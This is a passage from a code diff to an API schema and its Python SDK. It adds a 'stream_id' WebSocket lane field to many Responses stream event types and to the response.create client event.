+ - $ref: '#/components/schemas/ResponseWebSearchCallCompletedEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: ResponseWebSearchCallInWsProgress
+ description: Emitted when a web search call is initiated.
+ allOf:
+ - $ref: '#/components/schemas/ResponseWebSearchCallInProgressEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: ResponseWebSearchCallWsSearching
+ description: Emitted when a web search call is executing.
+ allOf:
+ - $ref: '#/components/schemas/ResponseWebSearchCallSearchingEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: ResponseImageGenCallWsCompleted
+ description: |
+ Emitted when an image generation tool call has completed and the final image is available.
+ allOf:
+ - $ref: '#/components/schemas/ResponseImageGenCallCompletedEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: ResponseImageGenCallWsGenerating
+ description: |
+ Emitted when an image generation tool call is actively generating an image (intermediate state).
+ allOf:
+ - $ref: '#/components/schemas/ResponseImageGenCallGeneratingEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: ResponseImageGenCallInWsProgress
+ description: |
+ Emitted when an image generation tool call is in progress.
+ allOf:
+ - $ref: '#/components/schemas/ResponseImageGenCallInProgressEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: ResponseImageGenCallPartialWsImage
+ description: |
+ Emitted when a partial image is available during image generation streaming.
+ allOf:
+ - $ref: '#/components/schemas/ResponseImageGenCallPartialImageEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: ResponseMcpCallArgumentsWsDelta
+ description: |
+ Emitted when there is a delta (partial update) to the arguments of an MCP tool call.
+ allOf:
+ - $ref: '#/components/schemas/ResponseMCPCallArgumentsDeltaEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: ResponseMcpCallArgumentsWsDone
+ description: |
+ Emitted when the arguments for an MCP tool call are finalized.
+ allOf:
+ - $ref: '#/components/schemas/ResponseMCPCallArgumentsDoneEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: ResponseMcpCallWsCompleted
+ description: |
+ Emitted when an MCP tool call has completed successfully.
+ allOf:
+ - $ref: '#/components/schemas/ResponseMCPCallCompletedEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: ResponseMcpCallWsFailed
+ description: |
+ Emitted when an MCP tool call has failed.
+ allOf:
+ - $ref: '#/components/schemas/ResponseMCPCallFailedEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: ResponseMcpCallInWsProgress
+ description: |
+ Emitted when an MCP tool call is in progress.
+ allOf:
+ - $ref: '#/components/schemas/ResponseMCPCallInProgressEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: ResponseMcpListToolsWsCompleted
+ description: |
+ Emitted when the list of available MCP tools has been successfully retrieved.
+ allOf:
+ - $ref: '#/components/schemas/ResponseMCPListToolsCompletedEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: ResponseMcpListToolsWsFailed
+ description: |
+ Emitted when the attempt to list available MCP tools has failed.
+ allOf:
+ - $ref: '#/components/schemas/ResponseMCPListToolsFailedEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: ResponseMcpListToolsInWsProgress
+ description: |
+ Emitted when the system is in the process of retrieving the list of available MCP tools.
+ allOf:
+ - $ref: '#/components/schemas/ResponseMCPListToolsInProgressEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: ResponseOutputTextAnnotationWsAdded
+ description: |
+ Emitted when an annotation is added to output text content.
+ allOf:
+ - $ref: '#/components/schemas/ResponseOutputTextAnnotationAddedEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: ResponseWsQueued
+ description: |
+ Emitted when a response is queued and waiting to be processed.
+ allOf:
+ - $ref: '#/components/schemas/ResponseQueuedEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: ResponseCustomToolCallInputWsDelta
+ description: |
+ Event representing a delta (partial update) to the input of a custom tool call.
+ allOf:
+ - $ref: '#/components/schemas/ResponseCustomToolCallInputDeltaEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: ResponseCustomToolCallInputWsDone
+ description: |
+ Event indicating that input for a custom tool call is complete.
+ allOf:
+ - $ref: '#/components/schemas/ResponseCustomToolCallInputDoneEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ ResponsesWebSocketStreamEvent:
+ allOf:
- $ref: '#/components/schemas/ResponseStreamEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
Role:
type: object
description: Details about a role that can be assigned through the public Roles API.
@@ -75691,7 +76372,661 @@ components:
description: |
Server events emitted by the Responses WebSocket server.
anyOf:
- - $ref: '#/components/schemas/BetaResponseStreamEvent'
+ - title: BetaResponseAudioWsDelta
+ description: Emitted when there is a partial audio response.
+ allOf:
+ - $ref: '#/components/schemas/BetaResponseAudioDeltaEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: BetaResponseAudioWsDone
+ description: Emitted when the audio response is complete.
+ allOf:
+ - $ref: '#/components/schemas/BetaResponseAudioDoneEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: BetaResponseAudioTranscriptWsDelta
+ description: Emitted when there is a partial transcript of audio.
+ allOf:
+ - $ref: '#/components/schemas/BetaResponseAudioTranscriptDeltaEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: BetaResponseAudioTranscriptWsDone
+ description: Emitted when the full audio transcript is completed.
+ allOf:
+ - $ref: '#/components/schemas/BetaResponseAudioTranscriptDoneEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: BetaResponseCodeInterpreterCallCodeWsDelta
+ description: Emitted when a partial code snippet is streamed by the code interpreter.
+ allOf:
+ - $ref: '#/components/schemas/BetaResponseCodeInterpreterCallCodeDeltaEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: BetaResponseCodeInterpreterCallCodeWsDone
+ description: Emitted when the code snippet is finalized by the code interpreter.
+ allOf:
+ - $ref: '#/components/schemas/BetaResponseCodeInterpreterCallCodeDoneEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: BetaResponseCodeInterpreterCallWsCompleted
+ description: Emitted when the code interpreter call is completed.
+ allOf:
+ - $ref: '#/components/schemas/BetaResponseCodeInterpreterCallCompletedEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: BetaResponseCodeInterpreterCallInWsProgress
+ description: Emitted when a code interpreter call is in progress.
+ allOf:
+ - $ref: '#/components/schemas/BetaResponseCodeInterpreterCallInProgressEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: BetaResponseCodeInterpreterCallWsInterpreting
+ description: Emitted when the code interpreter is actively interpreting the code snippet.
+ allOf:
+ - $ref: '#/components/schemas/BetaResponseCodeInterpreterCallInterpretingEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: BetaResponseWsCompleted
+ description: Emitted when the model response is complete.
+ allOf:
+ - $ref: '#/components/schemas/BetaResponseCompletedEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: BetaResponseContentPartWsAdded
+ description: Emitted when a new content part is added.
+ allOf:
+ - $ref: '#/components/schemas/BetaResponseContentPartAddedEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: BetaResponseContentPartWsDone
+ description: Emitted when a content part is done.
+ allOf:
+ - $ref: '#/components/schemas/BetaResponseContentPartDoneEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: BetaResponseWsCreated
+ description: |
+ An event that is emitted when a response is created.
+ allOf:
+ - $ref: '#/components/schemas/BetaResponseCreatedEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: BetaResponseWsError
+ description: Emitted when an error occurs.
+ allOf:
+ - $ref: '#/components/schemas/BetaResponseErrorEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: BetaResponseFileSearchCallWsCompleted
+ description: Emitted when a file search call is completed (results found).
+ allOf:
+ - $ref: '#/components/schemas/BetaResponseFileSearchCallCompletedEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: BetaResponseFileSearchCallInWsProgress
+ description: Emitted when a file search call is initiated.
+ allOf:
+ - $ref: '#/components/schemas/BetaResponseFileSearchCallInProgressEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: BetaResponseFileSearchCallWsSearching
+ description: Emitted when a file search is currently searching.
+ allOf:
+ - $ref: '#/components/schemas/BetaResponseFileSearchCallSearchingEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: BetaResponseFunctionCallArgumentsWsDelta
+ description: Emitted when there is a partial function-call arguments delta.
+ allOf:
+ - $ref: '#/components/schemas/BetaResponseFunctionCallArgumentsDeltaEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: BetaResponseFunctionCallArgumentsWsDone
+ description: Emitted when function-call arguments are finalized.
+ allOf:
+ - $ref: '#/components/schemas/BetaResponseFunctionCallArgumentsDoneEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: BetaResponseInWsProgress
+ description: Emitted when the response is in progress.
+ allOf:
+ - $ref: '#/components/schemas/BetaResponseInProgressEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: BetaResponseWsFailed
+ description: |
+ An event that is emitted when a response fails.
+ allOf:
+ - $ref: '#/components/schemas/BetaResponseFailedEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: BetaResponseWsIncomplete
+ description: |
+ An event that is emitted when a response finishes as incomplete.
+ allOf:
+ - $ref: '#/components/schemas/BetaResponseIncompleteEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: BetaResponseOutputItemWsAdded
+ description: Emitted when a new output item is added.
+ allOf:
+ - $ref: '#/components/schemas/BetaResponseOutputItemAddedEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: BetaResponseOutputItemWsDone
+ description: Emitted when an output item is marked done.
+ allOf:
+ - $ref: '#/components/schemas/BetaResponseOutputItemDoneEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: BetaResponseReasoningSummaryPartWsAdded
+ description: Emitted when a new reasoning summary part is added.
+ allOf:
+ - $ref: '#/components/schemas/BetaResponseReasoningSummaryPartAddedEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: BetaResponseReasoningSummaryPartWsDone
+ description: Emitted when a reasoning summary part is completed.
+ allOf:
+ - $ref: '#/components/schemas/BetaResponseReasoningSummaryPartDoneEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: BetaResponseReasoningSummaryTextWsDelta
+ description: Emitted when a delta is added to a reasoning summary text.
+ allOf:
+ - $ref: '#/components/schemas/BetaResponseReasoningSummaryTextDeltaEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: BetaResponseReasoningSummaryTextWsDone
+ description: Emitted when a reasoning summary text is completed.
+ allOf:
+ - $ref: '#/components/schemas/BetaResponseReasoningSummaryTextDoneEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: BetaResponseReasoningTextWsDelta
+ description: Emitted when a delta is added to a reasoning text.
+ allOf:
+ - $ref: '#/components/schemas/BetaResponseReasoningTextDeltaEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: BetaResponseReasoningTextWsDone
+ description: Emitted when a reasoning text is completed.
+ allOf:
+ - $ref: '#/components/schemas/BetaResponseReasoningTextDoneEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: BetaResponseRefusalWsDelta
+ description: Emitted when there is a partial refusal text.
+ allOf:
+ - $ref: '#/components/schemas/BetaResponseRefusalDeltaEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: BetaResponseRefusalWsDone
+ description: Emitted when refusal text is finalized.
+ allOf:
+ - $ref: '#/components/schemas/BetaResponseRefusalDoneEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: BetaResponseTextWsDelta
+ description: Emitted when there is an additional text delta.
+ allOf:
+ - $ref: '#/components/schemas/BetaResponseTextDeltaEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: BetaResponseTextWsDone
+ description: Emitted when text content is finalized.
+ allOf:
+ - $ref: '#/components/schemas/BetaResponseTextDoneEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: BetaResponseWebSearchCallWsCompleted
+ description: Emitted when a web search call is completed.
+ allOf:
+ - $ref: '#/components/schemas/BetaResponseWebSearchCallCompletedEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: BetaResponseWebSearchCallInWsProgress
+ description: Emitted when a web search call is initiated.
+ allOf:
+ - $ref: '#/components/schemas/BetaResponseWebSearchCallInProgressEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: BetaResponseWebSearchCallWsSearching
+ description: Emitted when a web search call is executing.
+ allOf:
+ - $ref: '#/components/schemas/BetaResponseWebSearchCallSearchingEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: BetaResponseImageGenCallWsCompleted
+ description: |
+ Emitted when an image generation tool call has completed and the final image is available.
+ allOf:
+ - $ref: '#/components/schemas/BetaResponseImageGenCallCompletedEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: BetaResponseImageGenCallWsGenerating
+ description: |
+ Emitted when an image generation tool call is actively generating an image (intermediate state).
+ allOf:
+ - $ref: '#/components/schemas/BetaResponseImageGenCallGeneratingEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: BetaResponseImageGenCallInWsProgress
+ description: |
+ Emitted when an image generation tool call is in progress.
+ allOf:
+ - $ref: '#/components/schemas/BetaResponseImageGenCallInProgressEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: BetaResponseImageGenCallPartialWsImage
+ description: |
+ Emitted when a partial image is available during image generation streaming.
+ allOf:
+ - $ref: '#/components/schemas/BetaResponseImageGenCallPartialImageEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: BetaResponseMcpCallArgumentsWsDelta
+ description: |
+ Emitted when there is a delta (partial update) to the arguments of an MCP tool call.
+ allOf:
+ - $ref: '#/components/schemas/BetaResponseMCPCallArgumentsDeltaEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: BetaResponseMcpCallArgumentsWsDone
+ description: |
+ Emitted when the arguments for an MCP tool call are finalized.
+ allOf:
+ - $ref: '#/components/schemas/BetaResponseMCPCallArgumentsDoneEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: BetaResponseMcpCallWsCompleted
+ description: |
+ Emitted when an MCP tool call has completed successfully.
+ allOf:
+ - $ref: '#/components/schemas/BetaResponseMCPCallCompletedEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: BetaResponseMcpCallWsFailed
+ description: |
+ Emitted when an MCP tool call has failed.
+ allOf:
+ - $ref: '#/components/schemas/BetaResponseMCPCallFailedEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: BetaResponseMcpCallInWsProgress
+ description: |
+ Emitted when an MCP tool call is in progress.
+ allOf:
+ - $ref: '#/components/schemas/BetaResponseMCPCallInProgressEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: BetaResponseMcpListToolsWsCompleted
+ description: |
+ Emitted when the list of available MCP tools has been successfully retrieved.
+ allOf:
+ - $ref: '#/components/schemas/BetaResponseMCPListToolsCompletedEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: BetaResponseMcpListToolsWsFailed
+ description: |
+ Emitted when the attempt to list available MCP tools has failed.
+ allOf:
+ - $ref: '#/components/schemas/BetaResponseMCPListToolsFailedEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: BetaResponseMcpListToolsInWsProgress
+ description: |
+ Emitted when the system is in the process of retrieving the list of available MCP tools.
+ allOf:
+ - $ref: '#/components/schemas/BetaResponseMCPListToolsInProgressEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: BetaResponseOutputTextAnnotationWsAdded
+ description: |
+ Emitted when an annotation is added to output text content.
+ allOf:
+ - $ref: '#/components/schemas/BetaResponseOutputTextAnnotationAddedEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: BetaResponseWsQueued
+ description: |
+ Emitted when a response is queued and waiting to be processed.
+ allOf:
+ - $ref: '#/components/schemas/BetaResponseQueuedEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: BetaResponseCustomToolCallInputWsDelta
+ description: |
+ Event representing a delta (partial update) to the input of a custom tool call.
+ allOf:
+ - $ref: '#/components/schemas/BetaResponseCustomToolCallInputDeltaEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: BetaResponseCustomToolCallInputWsDone
+ description: |
+ Event indicating that input for a custom tool call is complete.
+ allOf:
+ - $ref: '#/components/schemas/BetaResponseCustomToolCallInputDoneEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
- $ref: '#/components/schemas/BetaResponseInjectCreatedEvent'
- $ref: '#/components/schemas/BetaResponseInjectFailedEvent'
BetaResponseInjectFailedEvent:
@@ -75801,6 +77136,17 @@ components:
"response_id": "resp_123",
"sequence_number": 8
}
+ BetaResponsesWebSocketStreamEvent:
+ allOf:
+ - $ref: '#/components/schemas/BetaResponseStreamEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
BetaResponseStreamEvent:
anyOf:
- $ref: '#/components/schemas/BetaResponseAudioDeltaEvent'
@@ -75918,20 +77264,36 @@ components:
description: |
The type of the client event. Always `response.create`.
x-stainless-const: true
+ stream_id:
+ type: string
+ minLength: 1
+ maxLength: 256
+ pattern: ^[A-Za-z0-9_.-]+$
+ description: |
+ The WebSocket lane for this response. Requests with the same
+ `stream_id` are processed FIFO, and events for the response echo the
+ same `stream_id`.
+
+ `stream_id` controls routing; `previous_response_id` controls
+ conversation lineage, so a new lane can fork from a response created
+ on another lane.
required:
- type
- $ref: '#/components/schemas/BetaCreateResponse'
description: |
Client event for creating a response over a persistent WebSocket connection.
- This payload uses the same top-level fields as `POST /v1/responses`.
+ This payload uses the same top-level fields as `POST /v1/responses`, plus
+ WebSocket-only envelope metadata.
Notes:
- `stream` is implicit over WebSocket and should not be sent.
- `background` is not supported over WebSocket.
+ - `stream_id` is WebSocket-only and is not part of `POST /v1/responses`.
x-oaiMeta:
example: |
{
"type": "response.create",
+ "stream_id": "agent_1",
"model": "gpt-5.5",
"input": "Say hello."
}
diff --git a/src/openai/resources/beta/responses/responses.py b/src/openai/resources/beta/responses/responses.py
index 2b4217db8f..6c837efa0d 100644
--- a/src/openai/resources/beta/responses/responses.py
+++ b/src/openai/resources/beta/responses/responses.py
@@ -4259,11 +4259,11 @@ def on(
Can be used as a method (returns ``self`` for chaining)::
- connection.on("response.audio.delta", my_handler)
+ connection.on("response.inject.created", my_handler)
Or as a decorator::
- @connection.on("response.audio.delta")
+ @connection.on("response.inject.created")
async def my_handler(event): ...
"""
if handler is not None:
@@ -4710,11 +4710,11 @@ def on(
Can be used as a method (returns ``self`` for chaining)::
- connection.on("response.audio.delta", my_handler)
+ connection.on("response.inject.created", my_handler)
Or as a decorator::
- @connection.on("response.audio.delta")
+ @connection.on("response.inject.created")
def my_handler(event): ...
"""
if handler is not None:
@@ -5094,6 +5094,7 @@ def create(
service_tier: Optional[Literal["auto", "default", "flex", "scale", "priority", "fast"]] | Omit = omit,
store: Optional[bool] | Omit = omit,
stream: Optional[bool] | Omit = omit,
+ stream_id: str | Omit = omit,
stream_options: Optional[beta_responses_client_event_param.ResponseCreateStreamOptions] | Omit = omit,
temperature: Optional[float] | Omit = omit,
text: BetaResponseTextConfigParam | Omit = omit,
@@ -5106,11 +5107,13 @@ def create(
) -> None:
"""
Client event for creating a response over a persistent WebSocket connection.
- This payload uses the same top-level fields as `POST /v1/responses`.
+ This payload uses the same top-level fields as `POST /v1/responses`, plus
+ WebSocket-only envelope metadata.
Notes:
- `stream` is implicit over WebSocket and should not be sent.
- `background` is not supported over WebSocket.
+ - `stream_id` is WebSocket-only and is not part of `POST /v1/responses`.
"""
self._connection.send(
cast(
@@ -5141,6 +5144,7 @@ def create(
"service_tier": service_tier,
"store": store,
"stream": stream,
+ "stream_id": stream_id,
"stream_options": stream_options,
"temperature": temperature,
"text": text,
@@ -5301,6 +5305,7 @@ async def create(
service_tier: Optional[Literal["auto", "default", "flex", "scale", "priority", "fast"]] | Omit = omit,
store: Optional[bool] | Omit = omit,
stream: Optional[bool] | Omit = omit,
+ stream_id: str | Omit = omit,
stream_options: Optional[beta_responses_client_event_param.ResponseCreateStreamOptions] | Omit = omit,
temperature: Optional[float] | Omit = omit,
text: BetaResponseTextConfigParam | Omit = omit,
@@ -5313,11 +5318,13 @@ async def create(
) -> None:
"""
Client event for creating a response over a persistent WebSocket connection.
- This payload uses the same top-level fields as `POST /v1/responses`.
+ This payload uses the same top-level fields as `POST /v1/responses`, plus
+ WebSocket-only envelope metadata.
Notes:
- `stream` is implicit over WebSocket and should not be sent.
- `background` is not supported over WebSocket.
+ - `stream_id` is WebSocket-only and is not part of `POST /v1/responses`.
"""
await self._connection.send(
cast(
@@ -5348,6 +5355,7 @@ async def create(
"service_tier": service_tier,
"store": store,
"stream": stream,
+ "stream_id": stream_id,
"stream_options": stream_options,
"temperature": temperature,
"text": text,
diff --git a/src/openai/resources/responses/responses.py b/src/openai/resources/responses/responses.py
